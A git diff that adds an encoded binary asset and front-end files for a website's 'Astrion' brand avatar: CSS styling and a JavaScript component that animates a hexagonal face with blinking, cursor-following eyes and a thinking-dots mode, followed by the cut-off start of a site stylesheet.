z6>I)_-fX9-aTKCb*!b^V=8ZLQaK`R~JB$mu%e=B>WM)0vYONU>hKPtZ)*o&;busEX zk#xSZ15SzN^F=QXj-6|g{tPeLtql`jQZ6c*?*;mwoRj)@3CME>PYTmYR!GzsC67{`7V^nFgu?WwAPzX^rA zZ*NY{rtrJY#5i&B{olAlf2V_XCfw-tJ$~CE>lfBLwj&QW{;Y#OWG1rbzkIS+;#LZW zWzICKHvgFRYK;3Ft|OYfFWRJ}AZ)5KsAx}q`ggMB8&l_rd8?q{@V>+%cbc)N_tj~|mL@C=#j)GiwmdS2}57HG0Y5MlupS-HNHIq%-8=<2<xGgg*S$gci!G~r*nNkte&lW`E2FU6N^fx zE!i3A*FkM2ljVKfT*GYrr1UiS!%V)vdM@ASD1HlCR^Fgb&=)-&t3yvs7QBA_YfHpR zDOs=S?w>~`Xje5cagfbUx~H99rT&yY8(NqxseUw`|D5+kuu|srS-+sq1()|PTT--> z*##YEQ;?U>b}yB9X|w}@{WZ{BNyQ`69<}0f;alAX%q(`p)xMec@+=R44<_##7inch z&b|As1ET)F`J6Yn4G~IO8?Tm?zcLwH6k+TQ6yvLZoUA!5f6s}vdGO$!sns<(H7<+d zxzs@bt7SoeN-}fNLNg=W$d!Fa+iPjdlizg98$3U}m6~Z0WwoQj-dJb-$wzI(qO+Q--*Ygez)kcl5sy+k#5`04l3EmaB6aZ((Kd>cIq zG?OE^b!)1@0S)GP5QMJ?|H~xV#(krf9lJF-@xGTt|EFMy_1Aq*f|4h$N!L@0-+=}V z(P~Lojb5tD%&F|(bDC5A13QBgf`9*?ICw6lZ%dyxH2=SWV_{D}b~_v&Ff(_n0YT#n zAN^%m;r01nS8FAuGRNHK23COgS^ymQqMaFsof3c{-Frv(dwb+Tix9ZMW!PNd z!6SeJJD{#`<>=-zfIWlGAE`rUpPxHcKmbuh0-9xY8meOv%s%=gIFE?|)|~|+f^Pcr z^~#C?^qB?c<3@OM7Ur?WMRB*G7T!<1GpSG<$l1L3dCPCa;C zjjDp{YN-F0;OPI!yYv4a_WyuJrvJs`{LkDnjEY{^U~XzZH--;HXqX$ld_p|p%pMnd z&z!{oL&jUKXC9;YE!Sr9;5fkc7grB!MKAae9w=8e6pM_Sc;Re2c^+q;4D`Epn)!ga zskUKsRYb5<7vurEP;l|diDgcb%M|!H3M!t-{UOaEeXdlkOl8Tz+Nt_qnqO6OJF?E& z;wBpdj{Lrqo`26#u@z>zA?s{8DK)HGd3{`~iZ)1q`Zl2aa`UMSf2+zl`xf-;n5#UR ztsBS3MHdehGbHXGX?c+M5QSIk#a82@D~FYY!N>L&w5c&+g|$a=P9XzwcoeB$=0ZHn zDF3NP2(}ln@c^`efSTUUC#Rb4)hl0*_-sr&fT!Tmpw3@k* z$s~Quz!ryjl|HiU*ak7#rqVK1MPw?xnbclxei^S z$$G-rD(ilooOT!fVtp)B%oAU&S8&xwy2!w5`|@pcCS;h*Sb;<>kt>N`6L}o^??9|f zy&pF<4u%ZpF7@8ZoSyjI{Z)!0?MDm;hBJB75VX@7sdQRRWkHy7awbhG4yQ2qLiBzZ zLLll;sMWhWfcCUs$o1$1(X_Mpi>Xi(hftfqgNN!(d!Fcb0AH`{#uu7EhfZP!obYsNm-AA*;AU;{c@A(u$Df3kVj%q-aZs@Hr)$|=!nJZ9CPoKQ*eCqW)z9S^NdV* z`s{MPe|{Ul5gi@Lo?MpFV~E&Dc7}^e=th^D(xUsv?50d>Ml8k*G!=(dOkUA%p^9v6!YU1dt{G-Y^M9%i8_3ws7x&0mq#IBo!X2D4-PgrQO_Xw@OD)J zaxak2HmSN$KbGRL13GgY%vO~aIX~J&Vv=m@MzrB}h(QaH3L9o-k`;57> zaxXa8R$fsmo!j`C?ZVcRE(>xhPR$P((^!%1&JWLZrGnf{Z&sCVz3s_v4Vex$MU3a8 zH*P8kKPgj3)7$#F$F)4{yNatBfBazTB`vlzRyox&(K!A~i#DH(Z~FJ}ZURvw%FU4; za4{pOqAX!&`e0UJWVt5&P@q(HY368nWs=?Ku~L)X-tK`B#tyX9;qT0qZs)^uk2A<# zP+X7Or-{2Bkys2XIt3XKseciHCV_f0Eo(mV3bGt7=+-YBlk zYQuV8yXr*ys;^U4d9GB9oypQiNvZn$JLZ_sVl>}*z@V(<*)w^1>`B0~SX_3o&cm}F$}MNKVZ$x9BF^oOwL;9V*m5I_H$bt#%7(CL%xz0i-?scQDY z?A_p)dv!Q11MydRd&$pso4>|s<@GRf!A8%mU#K|ga_YcbBBtBSV(`TY2OHDg?k?zP zjzhTtj;1ZBL_=2pyGkKDgS$c@5lhq4Utaj5 zCgCWJyNbN$f{t-&L59A~ZaW!_R!g4j@8|jz?hq=rqDscrA!XjK zBwrNVr(Jwd9<;49F8yi0Y@$eME0Gs8W?Pczf59=2PjNA$sze6R92 z_aB#3u0F}!I(Q`IhiBmZ%)h*GW8|{dQjLc(#$&k5DapxkMs%}K&%*T=cx8J3WXm;% zm|n}@&8cYV{Uh#G z0p?8@tjD0?&(Pc@NWMfRoDp;Y6vJQl2|Tjh&3M zJ2VuZpKLD*4b8FerS%HV958j=ZgSBR9=sanA&AtR>aYdh7$3Q1^EUt&GAG~>GCwosyTQ+8_W|P)`&PzYkRX>d&ixq8kAh;p zhlr`sz~3?}KnIu^+1T{UcVR*8z?jOe&r?%c`g21v;)nrQ9#omlcw*#lqB+dGz3nv3 z{KuLcCw~PW@aQlyF$n^l|7b_CcKtk{?dAKxQR2AwR}&LirOt;_oDVuBf(Y`Mx|VDF zFD8I=GmxER^mb6-9jEdNR*vk)sX7R&ye2OmgeyQU+#B2WJ0(%kJ=S0%&yAQZ^8)SW zmv-FmUYw(b`DZ^wE~L|gh?q1o*mPYp; zz;lMuh>kFq_jPC8#W!@!Lm-xSlt2fy7`Eiqg@wU%ji}L8R(5tl&zExLGR@aoK?BAb zTLXTh0|9=1{%_J#15=I03f>alfTOLv0BHokIc?R$)RhBz(}F0g%$b8@!ZqP{xmOLs zkNjmu_KyjpmVbTze1B8ZoWrOAyq^E@2$*Ho0LZ1Uo1O?t>?|&447I|1uJhS&`c6P8 zG=xOTkXGA3n|%!Z;_MGd#{b^TRYn+ZwvUXM6saa>%2mVwHfGFjWpxz%s z*;aSIeLH>Eq%PridR8d_B2O z-x%csRaPDV7V9EIgi&8UJ#Ij-2rxkX<7L>&pJDlgdIed`?de!Q4+^@YARl;2*zkMN zy}X=@AEs9z@Riu$Xlq*N-R>=P_M1@PqhK}UGF(jgT@jj8k9RXbTf}7HOt5{ZyzVCA zc#Af6{~`)l@%^Mm3~S&ztJ{rNMw4sRq3Q!rO+9rUj}>L2Kp<%;6f2eL$pwr%OH3~f z=ZSot4~?B?W#gO*U^4lbJS?L!)LKO z3GbSBGOWdL`F``OCBNvT6?;v{fc;l zSjZ@T`D8kjD*9!_{I*@3&`7>2{delS-*Y*}x2dV`lk*J)s>gfXM)*p;?#ocMvkM)` z3k(bb$)g}8Av`>WIRxMJI75a21Ta$zCaRZsw~nBO0XPWE`HX?<(G(+9xpS%EpzkGK zrBOI_;8>etSUab2ha3<5U?BhnKdCWf;cau+=-wgZ8kRtHUJa@+%4*yt-HT_x|yS?wsg010avW4$uj$V5A?ia)0JZ< z3PG94cdyS!5V29+c0VsC1?1dEjj3>{a{K)^a&IDnx{sRwWT=8r=H=|!&>+h7TkMhv zZO8_D6T)@zh57 z?LJJ-kHx?Y6SGXYL+R$pI_nY;qgSY1UkXTSkUa&=G-~~YQ?q}Qpj3HM1-Ybbw5AJS z=9ZFbJ2Ad{7o(=83>xk9o?)~8(57qr|WDhZu9`Pdbd6hn}z3GB~u@d z(|DZ_j%_HEFE3+&HoyLGjkYV_VaZI`)u!655AfOmR7+_jBVx8r!@+qM@;ezMEh9ne zSgxVd;qIYu>JYPmctH>xI#i7F0z5uHy8Fvj{M4xF0c}4h^;yD2Ge+GxzRJSuWaJw_ z);nM7LnNl-mqk5}dqiBNc@>8)ZhU(cl2HA3a{zRbbG{>V{FUl96!1 zuY}H;R{AQ|bk#%~%F|r{@&hv#pAt<#;}vP2`IWb{N~5RBG&srW(Xs?vGp=Ek9EMya z`T_k!8>mACcbQF_a2!)a(RbZZSZeh8b1?ax;af*kq>6}zRVrV@Nxi#@q+czo5E`W$^0- z4=<%K++rr4#MeKR_43Z$pgV+H%70+;Mil}=3I@%EexNU~B2+qJv#m#y?#1?Sdia|c zM|r-2Ll5=*#pGPG2%eXlpTO>3`y}Bgr>v|n)m#Iz0wDs-odd$&TcyE0ipRR*rH-pd ziojquG^BK@q`%sKp=iZ)QpQ;ibe5Sfh8tr~;3xN=WK(rz=u~;8xeuhKhEX^6n7J}C zu}8d)T#cLAh03%u5)e_^nATJRz6|dMo}Zr-Xe#CJHy%mqdi*!+k39#BCTRFUm!^>C z%Q8R&kPbW`C2jITW?%TSGhIFcJzkf4NI&d6q#!3vi=D4OUfUm-^O41|p02Eu@}Ysv zZHu06@GB>axUBsYG-uIrCAdcbD$3GP}Ze ztg}!?vx;`x3KKKBnGKrcF)-y zCu2($<{FFQKYx}4y|Maq>26SqMP*V=(1yP)Pt*gE9KU{D2irTr)sceJM@N9NN3WP+ zW9hi+Z5=UrJQch{iDK?XlGFLKUif_0gHsJNt;0@$oui2BlYNGCy3jk+ZJeIoYP)+e z#G%VyRN`i7$9DE#Ko@e$1DMeu!E?7I zGhzrLe)+MdBbe~cJtaB8MtIvIx3O2xRQSl(YP-poTM?jh;($`wpKRNk%E~3CL6@8< zZ{A-v{e>Tr%fFXLOjhdjtgz7@2BjE&)EN++x_2MEqzVf1K%#r+dv1+o>r}(^^zSdC zpe=(g0v1@Ol6(mpy{L42q3P=S-32WSn}fP|j?9V* z11+*41nPJ;5q@%?Vsqe~((|mAce2U~`aC|N^~b4Ym0BsEhTQrNYijGrP6(b1xz4M| zS%WZ919=E0zfwjH8adAK&pcXlJmOA%QmRYUO-t3%W`P);aXZ&oMO$9F8?zly2&lKu z4RTV6h=^3;Lg|L?k%>VQ)NR3?0ih^z<}*_ylK%SS#E$*_`doi@#4X$$R2L%fe5@G+ zBEr4Sw$WfiGz5$te{#V)cOpgPH)h8Z^Wyi;5Q{4G!}?H>>-csfeVUx3H5JLy@^Y4< zIRi=3qYeV=LmDO*DsdO>K#@SpDcrh5SJNz3&1Q+#%-`j>9)UrDM916TI5lcOHcRWT z%_ISrH}aB@JJ!Ixm?kL)qN5Hs_+K{4W~hGx)A-1DfpW$uIV_`M()?MbQGB$7=2>?E z!vWRHN~s=M$+jE?pxgcyXeYd~K~aCa@tB;PeY44{r~PN@AMn=lx4lyj#%NDQ0Euzl zp?Imd#DC2=GnJTd;?RjA0#bqPTg4s8P7Rv2CoqZ#qT^&SuU{SGt3aIsBqUa?dq8R- zDqKTQhbqUI^F!Y5H{YjnaG%~VMONDZpY}Z15kP{6p2zqpZfYrfS^>7H8IQcx-Tt1w z$c;c3|FQY7KR|SH^M=Lpi;T>Wqon$7NXf*fAwyD>j3MuZ85>O2%8F!CT9;bD-rU}1Kd<_%tx$2h)^>mI(E5G6q_U#nrY4mzyjH?j zS`?nwL4`fJDZBo*NFth8;kLr&qh|AfGh#fPkMa?i!GoPs@JO*f`F{w}vPN3A5pr7& zjv&+F&+x3OCyF3K0kkW<{+gV5G<7u8=Iy{!KUz7NQ^F+md=MXW33d^XwXlbEQLh@j zJnw;GIVwfWnTwwv0k#BC9l1a@>f~g;WEo8z>3xV_gx}ejh^?5l!%IuU;gzCF?ps}i zV2Zy>a6hv1{hobZWT)~tf8K}_kj)dz1kE*O=-ij&Odg*_HPf}! z@qA-^oJBtnZlMwyRg^hGO0Bxn+w1Mp)!hp^*4d2I#*KP_h%h2@(v>AA7q9(&CvI*o zlMFw9DOo8Neg<&gGcl3LxH#<07!L2zP@XXcv(k={0BX^ln&QcI29vXS^kbX&9nJId zp|fTv%{~>Q&DPsbcm1Y79gvpJR9YY@++n@Ba-VtQPY$e^OkB&z3W1^fWw|O6&9k`a z>hhd-*xS_Hr#PU`BJ;<^t{l%0=>hn!{=9q+-TTkTyKppn6hpIa-g6H($j-c!idjws=s5oBez==c*H=|}wurKjVEb;ghAXK< zCw-|om6b2{n9gx|0j&kmQwcNtw&MscCNU=1%EX42mh#ZwfC(}W#@GHy!Q9s<-k9j< z0Y3Q24bvYJAzN4$~vq6+W~gjpwGE!snU)BF2_B86DKW zz85^FO3T*v^n$pkr%yJ{dOs7?>2jaE%2@ws&865L#+pIiS|>b0){Pd(_(>8Ls&cpY zg7Qc7kD2Kiuj{|KA)yb#z*ku!ID>;tOhjli$d{*a@AN+fEw1WZlWKp-6|tu>;9w$PZcZjF{l;FYcP(TpRe9Goeoz-NR(x-p zde&RwKE`Qyf4}^?BnABR##J+TrNXD;NS?YViT0P^`Eq*kUf@{ZI$kjdsJU4oFg!S^ zm&w+d@{M~O8U&B$;dg$FNdLSQjFPm{zH@7T?=IwW3>-t?zOkho2=lRXv66H6l%t%Q zZ#MkgkFP7L>Sv<`R7v_^^p ztatu;#Q#;=SN}!zMDJTjiG=hL(j^Uo#G-TwED}-@5`xm*(uh(LEA3J)jdU-F2$I5r zz_O%tH`1TM_viEd2fp(YFLqw{o_p`iIWuR@^E?Q^;19S;17PMYUuw%5zm(MmezFK? z`RE!$Z-$-2fX~#lml)emq#WffD+KUf@b|H(uXT0hRk_GqhHzhjYM8pu`sek~n58_qizXRk&VnZ}02PYnuxR8JgSz(~nLrOsxN5 zN*?X|`Iq&sCLM!#d_iuZwB|5qg%8|dV>$hm+oI;X0{Fr-Mb1iKcYS3jK)hYMYc6nl z`DnvB`eAS!r~rKKf)7SWV$>nnG7>4<$i;cn4!un1A2!Wc>3>WMMvLfL`ZG+LSZdbp z0TvVQ;&5S}B|)VCJi%AmxP45#w}8ZwW>?DnJS{fRxw^-qRw6H$`J;s}ZCe-^E+O4p zrZ%K;iIw9@roS&U(^tGQWd!Klf%%0iXXZcVd@-s?@9@<4Lft}Btwis0+2q6~HRXPy zO6ng1YlJiWtAQw|>$M-R-IC~*`H^(6s~TMOPjUY*Gd6MqUdjxARwX*%0|`I-F>4oZ z>}rY>LV)ifqQGJ8kh*xD7}IadGk^qz2-kGrv+0*(tFMk?T;*8+9h)p~!K;`p7aA2^ z?L<>;V{mS#9df;EW^r+G7Syn9ZWau`B|Ffm3Cqjti2ABiK)VzecGr0j1%PWDHZQF? z7q?1%!HuN#LgJ210Jtvfcs%U*QRY+tLnc&+x&$HfU>A_y3BBp>8Bj?|%bdEHY6;q8 zxJ!MiicF~H zF`yw?5%;NFzfsMhyZIgdPKDoeq7qAvMdGRoG?`>j+%RYjEv)UJ7v(p=NRH{6;8(7H zY^j`)6d=XVF)4%0)G19=<>v0{`zf`t#z;mzgbcsk*MCVspWT1;+Vo-L>2iF95Fk^? zkl_NKXI6+-sjN!wdL@cui%?EhieX@(QAyrPJ40$q=jJqgf0Y=t$mQud5Ep43b&s>F zPhAr_524>sRN=8mEdN`jWNN5UkSS=CT0x6o@WMv|AjB!sFn4fX(HU8CCH>Rsua| zM!G2xF`k7c>Acwe#0%98m#eXm^t`Xvk|Pi>(eU*-@!`0`ZypvWwC2#eSsDSI4WPDR z@oj2Vv-hpUec^>yTCZMq7#!n-FD>L!&0CF&7qZHTq0O8UGP}cO&dPoIV zjB(tr3kc8%kG|_twh!yK>8yErvU|u2DLz!uRIB!(<(#0~B><4Rc_l`$4n-oh91{Vu z`ROD3!ABsu1&V7&mc|>rGg=-veg}IbUJ2yLx9sfQ4POs?el9K;_absc1ZAKV$B6Qc zP{;!0H6U||n8voazqDTTh6Z@F$O2ExO()C~VjEa5NMM!~-1G+3Dlp*>_O#H;wJ>!qc`=kB%5${xAvL z?`qTSp|Y~F2I>9LqUrKyOPl7i2fdPCzI@>`lHv#3?c=4Z^Ax}#VFP%DNO-#jvH-7@ zC-$_w%GcW)=Qd7HR%9OGB}3q!4Z@{9J5YEB6hxz9=v2Wb!}?-65YSTrhh^ki#Kr## z1G#KI3^!WnwB;Q)NKvD_n3UkouS0f?YGx!Ey*PwtH9;sQABsrHIvlQ#Y&DiaKWb(i zeqH(Xwdi83``@dUrHhMU&aqgRO63$}x@d~vK=dc5Dwqd&JP*;UY3$25pP=|tdbGcf zg_rvRgweNeEQjkDkEQe2E|V<(?flg+r_*p8bgRRQD^ssPtmEOw;cXrNrcot*E<+}gl&if#fHF0LFzy&VNUz}RB zva#XX*-RX;^HUO#zOjiskbUvvFMh4c>4pCeWVECK)D>GEZ#_Z*Ag_Xux%S-DEIh`f z($2OFdJ`lYLDe<2z^gjSl)^)Tt4QW7FQGkfB=PzJJ6@9z`_TI)EH zEhW1dZPZ*`z0zLeG_}su&X=?l4?6`1XLlSN*8b?(`S<(kO^}0XjAWjk$~4&9-tNiSV20Fc?1!Ez_~0n zurj8PjMqv`%P84M8f0}(2E`+5+Lj?evD zB(?lYDYlKYUU&&bxL z;x5Bj$ez2%&b68kk@RpcCz%_!p~p~v#`i|mV|LZd?9C^Os2$kn`+G|UWjO}N2XRL; z0x($O&xJs5tGfYnk|B7k_Ku8G-bcg}XzgdRhE)Vx)Iq7wJ@oPiUp=luTiP%cb0?}= zt|XUC;NRVki;Rq1C0QDdxqX+0spO__=iAV3vTRZUCE*uNZd}g`aUWRcs3S^i#zVhk zil#ix@;h^gh#{5BR^m!5{4RGYKtlDst&~DW@Nt%uz4cCCh2pSWGfB|Lg#H}koDoVo z$z9i@h|^4QkH7oxSO!@b9H}T@#ASJc)U6+}q`UWL6?7aW?}W|-ZoO>ul%5Cq?rKc7 z`-H$*qo1HHHrLiGN^G*81z~hFHHt1vs!b91_R(rrL|Wgcr_ccd=apa!AFy}m_oUayUkBhs{i zOlZJ%t3#XKs=Vb#yQiL`a?H%kg>rOHm6V}1Zmi+VMmQ?H%F0i)qwx^Rn4yPN{>O?9 z17OjZq7Jhcme1k;T@txWOED%uJ!?LcW$m`U+giHS(pI{yL8_fbZ|b;7M_Qo8S!R<9 z4rj9!6FoLo#qiU#_FI+d|6qW0wc9#Y*Dl@5$<(qoB0h#;b#STCv35KmMxeFUus4Y= zjK&v7GBL@3_@WAge#@KH5lg(jH$#F^Sn>#5r>DG9CXm zF4<*a?vwMg-93?^(%To;L&7`eiYn}T8s-U?v^Gz-Cs7I>YbgmC$3tt5gf(h{fAo0C z=$4sCNl8bTV)9vxV9Ro>jJH_Nz=6FtfgOaF-S2(y5Z;u7Jj%RN;(FTevO9Qq+e!hOH9?NR5CQ5;MY9r*1G=bthd*G zXYJO6*K8k(Y34AF4%84u3GfL155-U5-H?yc=XCQzZlIm z*kg$}0;Dp45Mri15%YNf@+UbqL!5#XPcsA}y0f>}N%Q2Q4Gq|SH!sX_HA1!XWD_^W zi>CRPG}ZXmf9KRItEe8QWT^Y{2W{;=$~ih>YCjGJ49cqwmvJDY(grSmaO3ulwy-7d zo%eZayW6hck@(b`ELA#_xcikAr#a=#n4DH*!xl@(`T5O3dw$2PxJ6z;MN@$-Q|d&c z60ybd&B-G{x=DK!b_!7wB2E4#=Mw(HS5o8w9e(BK`;66z8Yax6Wyi&8qY!u&#rzWA z$(C=|9ikA(1dum$oh<+K6zw+`nf?{o~&J#6?4q?xDyK=B@^L9baWxi;UY)1^A@|_cTV`(OQ9k3367f@i56bMx zlxLmWdtiR!5AlR z*t6(_rX;6=2`Z5@h~(|M9Po9t7)7H^v6&=+C-Z}RCXD0`>=I3SsmkX-Su9eWVp^?0 z2hkFd5LW9%RrIz(F?z$~?pRxUXhJ7hJH}I+(?K1!JiB5gLQR5q3KhcBzwxZtQv@(w7d+Pa8Y%ClK9~WCOQG9+J?{iQg zi$JdH2K&>k&*se&axN;z0%C?HKR+~Dd$jm(?&Vv=RRodn*L!T%4njtdCbhfSt#@lQ zw$lOCG!uF74}q%&T;%U?ZFy$S8cJUq7##mG%4e53+k=wZft>bBMNN`79XyC|;(H!j z7{Lpb9e#06YIX)}ZQxdaatS8;azR?&Sx7+H7>l1L;I~F{W}z6}i3V)T_GzO8|1a+6 zvLMcw8$47zO8w=JcvI*CQJ$5qE4}l%t~(GteXNVx2A&3;bk%uLUr5eN5EX#w`|~^U zXU(X&Y-u4KZihzq@0mrTcO*)hK5AG<9_lsc^In*aHE{9O!S0b)1Yj!nfYM!DO)VkO zG%f1kT#!R8iuD-odg>AA2^0&LBL#!$>DCc#W|2Nf_`dj_k3`|)HK?hOH%47Pp9lVN zPLI!LcA-|vAx$MaeV@kKI=7?55c?oEY{V|*a#kkKgu7bl_|JIRS&nzl!y%t%GmIph zysn|bY2MO(Zv@o{FMeaq?OZBIr?42 z-(H)iZ`0e{CdLy=dy16Nc^Jw6p!eu-mrGO0+nd%Ffv__#&PwuOFL#EB9Z42<8(LS- zTfcA^&aQ0q&3j#wooyjR3+o|!qmUHEMy_MX-AiOPw5FQZCJ}?vL9oMI)h+z)p6_#w zveBOlE-C7K{hVHVl?{0VbCi`dlY0lRwZ_f$CT0QYO)kp{*IhccFLtKOiS6I{<7sD} z^6-q~&(-o6r83<#E5?o%4U;w#gb<31(uTRYxOz@P z#@`bN^|3eCnmSn#MG;mm5L9c1{E+2!K4*|nkQOHeu3ksq=_6Yqj?kkhmKN$~1f>MW zCAk6<=*Gge>T)W3yVpcoqg#k)!?E|CfX?nXXws3p{8^7pR9X-^JaxI>ux^^u_dN}C z#TL!^F`x6aAjYT&4Va9^t*f9-p{}GO33vmW&w~j?3fOZroCGmVcR(o|aoO#W8hJ>S zyzlIk%atwu68~)B5TJ*ZzzUnC{BQ16mevjTIZ|(>s{8Px!aZt~)T&VMKQ8~QLH)C) zG`3Pmi&uCV5Kar9-;k5?zY%6=1s>lO4I^mv8qGXz=}7{Od~xQBshRME--2kzf$uW; z!C!e2QquVMFD0@uHV|?wfn;n0dn6l;ZaB+^J%N9Lo~d>uuAQb#9!9NHYl3pBpg^V*7J=y*Kufl^`L2~vy4pH3#N3GZyt}Q7l$v)LF&Qx2Jdt*bI^Fwc(rXI|=1~iw zRrPS~1el{BMDPcN-5ph3p?cX;t)EE@+|}@VqdN~O4ey+gRl*`tKXts}=BXs`{P$Ex zd++XprKo{{a11 Bs1g7G literal 0 HcmV?d00001 diff --git a/website-design/shared/astrion-avatar.css b/website-design/shared/astrion-avatar.css new file mode 100644 index 00000000..cdaef8d8 --- /dev/null +++ b/website-design/shared/astrion-avatar.css @@ -0,0 +1,47 @@ +/* Astrion 品牌形象组件 —— 六边形 + 双眼 + * 参数精确还原 static/src/components/avatar/StatusAvatar.vue: + * viewBox 0 0 200 200,flat-top 圆角正六边形 + * idle 态:外框 stroke-width 12,眼睛 stroke-width 10,全部 currentColor + * 眼睛竖线位于 (84,96) / (116,96),长 22 + * 颜色永远跟随上下文文字色(currentColor),禁止单独上色。 + */ + +.astrion-avatar { + display: block; + color: inherit; + overflow: visible; +} + +.aa-frame { + fill: none; + stroke: currentColor; + stroke-width: 12; + stroke-linecap: round; + stroke-linejoin: round; +} + +.aa-eye { + fill: none; + stroke: currentColor; + stroke-width: 10; + stroke-linecap: round; + stroke-linejoin: round; +} + +/* 思考表情:三个波浪圆点(r=7,位于 80/100/120) */ +.aa-think-dot { + fill: currentColor; + animation: aa-think-wave 1.6s ease-in-out infinite; +} +.aa-think-dot:nth-child(1) { animation-delay: -0.48s; } +.aa-think-dot:nth-child(2) { animation-delay: -0.32s; } +.aa-think-dot:nth-child(3) { animation-delay: -0.16s; } + +@keyframes aa-think-wave { + 0%, 100% { transform: translateY(0); } + 50% { transform: translateY(-12px); } +} + +@media (prefers-reduced-motion: reduce) { + .aa-think-dot { animation: none; } +} diff --git a/website-design/shared/astrion-avatar.js b/website-design/shared/astrion-avatar.js new file mode 100644 index 00000000..c85d86bc --- /dev/null +++ b/website-design/shared/astrion-avatar.js @@ -0,0 +1,165 @@ +/* Astrion 品牌形象组件 —— 渲染 + 眨眼 + 鼠标追踪 + * + * 用法: + * AstrionAvatar.mount(el, { mode: 'idle' | 'think', blink: true, track: true }) + * + * idle 模式:竖线双眼,随机眨眼,眼睛组随鼠标方向轻微偏移。 + * think 模式:三个波浪圆点(不追踪、不眨眼)。 + */ + +(function () { + 'use strict'; + + var SVG_NS = 'http://www.w3.org/2000/svg'; + + // —— 精确还原 StatusAvatar.vue 的几何参数 —— + var FRAME_PATH = + 'M 175.959,107.000 Q 180.000,100.000 175.959,93.000 ' + + 'L 144.041,37.718 Q 140.000,30.718 131.917,30.718 ' + + 'L 68.083,30.718 Q 60.000,30.718 55.959,37.718 ' + + 'L 24.041,93.000 Q 20.000,100.000 24.041,107.000 ' + + 'L 55.959,162.282 Q 60.000,169.282 68.083,169.282 ' + + 'L 131.917,169.282 Q 140.000,169.282 144.041,162.282 Z'; + + // 眼睛 path 的 18 个数字:M a,b Q c,d e,f Q g,h i,j Q k,l m,n Q o,p q,r + var EYE_IDLE = [0, -11, 0, -5.5, 0, 0, 0, 5.5, 0, 11, 0, 5.5, 0, 0, 0, -5.5, 0, -11]; + var EYE_BLINK = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; + var EYE_LEFT = { x: 84, y: 96 }; + var EYE_RIGHT = { x: 116, y: 96 }; + + // 鼠标追踪参数(viewBox 单位) + var TRACK_MAX = 7; // 最大偏移 + var TRACK_RANGE = 140; // 屏幕 px 内达到最大偏移 + var TRACK_LERP = 0.14; + + function eyePathD(n) { + return ( + 'M ' + n[0] + ',' + n[1] + + ' Q ' + n[2] + ',' + n[3] + ' ' + n[4] + ',' + n[5] + + ' Q ' + n[6] + ',' + n[7] + ' ' + n[8] + ',' + n[9] + + ' Q ' + n[10] + ',' + n[11] + ' ' + n[12] + ',' + n[13] + + ' Q ' + n[14] + ',' + n[15] + ' ' + n[16] + ',' + n[17] + ); + } + + function svgEl(tag, attrs) { + var el = document.createElementNS(SVG_NS, tag); + for (var k in attrs) el.setAttribute(k, attrs[k]); + return el; + } + + // —— 眨眼 morph:同构 path 数字线性插值 —— + function morphEyes(eyes, from, to, duration, done) { + var start = null; + function step(ts) { + if (!start) start = ts; + var t = Math.min((ts - start) / duration, 1); + var e = t < 0.5 ? 2 * t * t : 1 - Math.pow(-2 * t + 2, 2) / 2; // easeInOutQuad + var cur = from.map(function (v, i) { return v + (to[i] - v) * e; }); + var d = eyePathD(cur); + eyes[0].setAttribute('d', d); + eyes[1].setAttribute('d', d); + if (t < 1) requestAnimationFrame(step); + else if (done) done(); + } + requestAnimationFrame(step); + } + + // —— 全局鼠标追踪(单 rAF 循环驱动所有实例) —— + var tracked = []; + var mouse = { x: -9999, y: -9999 }; + var rafRunning = false; + + function trackLoop() { + for (var i = 0; i < tracked.length; i++) { + var inst = tracked[i]; + if (!document.contains(inst.svg)) { tracked.splice(i--, 1); continue; } + var rect = inst.svg.getBoundingClientRect(); + if (rect.width === 0) continue; + var cx = rect.left + rect.width / 2; + var cy = rect.top + rect.height / 2; + var dx = mouse.x - cx; + var dy = mouse.y - cy; + var dist = Math.hypot(dx, dy) || 1; + var reach = Math.min(dist / TRACK_RANGE, 1) * TRACK_MAX; + var tx = (dx / dist) * reach; + var ty = (dy / dist) * reach; + inst.cur.x += (tx - inst.cur.x) * TRACK_LERP; + inst.cur.y += (ty - inst.cur.y) * TRACK_LERP; + inst.eyes.setAttribute( + 'transform', + 'translate(' + inst.cur.x.toFixed(2) + ',' + inst.cur.y.toFixed(2) + ')' + ); + } + if (tracked.length > 0) requestAnimationFrame(trackLoop); + else rafRunning = false; + } + + window.addEventListener('mousemove', function (e) { + mouse.x = e.clientX; + mouse.y = e.clientY; + }, { passive: true }); + + function mount(el, opts) { + opts = opts || {}; + var mode = opts.mode || 'idle'; + var svg = svgEl('svg', { + class: 'astrion-avatar', + viewBox: '0 0 200 200', + 'aria-hidden': 'true' + }); + svg.appendChild(svgEl('path', { class: 'aa-frame', d: FRAME_PATH })); + + if (mode === 'think') { + var think = svgEl('g', { class: 'aa-think' }); + [80, 100, 120].forEach(function (x) { + think.appendChild(svgEl('circle', { class: 'aa-think-dot', cx: x, cy: 100, r: 7 })); + }); + svg.appendChild(think); + } else { + var eyes = svgEl('g', { class: 'aa-eyes' }); + var eyeL = svgEl('path', { + class: 'aa-eye', + transform: 'translate(' + EYE_LEFT.x + ',' + EYE_LEFT.y + ')', + d: eyePathD(EYE_IDLE) + }); + var eyeR = svgEl('path', { + class: 'aa-eye', + transform: 'translate(' + EYE_RIGHT.x + ',' + EYE_RIGHT.y + ')', + d: eyePathD(EYE_IDLE) + }); + eyes.appendChild(eyeL); + eyes.appendChild(eyeR); + svg.appendChild(eyes); + + var pair = [eyeL, eyeR]; + + if (opts.blink !== false) { + (function scheduleBlink() { + var delay = 2200 + Math.random() * 2600; + setTimeout(function () { + if (!document.contains(svg)) return; + morphEyes(pair, EYE_IDLE, EYE_BLINK, 120, function () { + setTimeout(function () { + morphEyes(pair, EYE_BLINK, EYE_IDLE, 170, scheduleBlink); + }, 60); + }); + }, delay); + })(); + } + + if (opts.track !== false) { + tracked.push({ svg: svg, eyes: eyes, cur: { x: 0, y: 0 } }); + if (!rafRunning) { + rafRunning = true; + requestAnimationFrame(trackLoop); + } + } + } + + el.appendChild(svg); + return svg; + } + + window.AstrionAvatar = { mount: mount }; +})(); diff --git a/website-design/site-manual/css/style.css b/website-design/site-manual/css/style.css new file mode 100644 index 00000000..3b6a34fc --- /dev/null +++ b/website-design/site-manual/css/style.css @@ -0,0 +1,308 @@ +/* ═══════════════════════════════════════════ + Astrion 官网 C —— 手册即首页 + 白纸黑字,排印即设计。无 hero、无气泡、零营销。 + ═══════════════════════════════════════════ */ + +:root { + --bg: #ffffff; + --surface: #fafaf8; + --text: #1a1815; + --text-2: #77705f; + --border: #e9e6de; + --accent: #cc785c; + 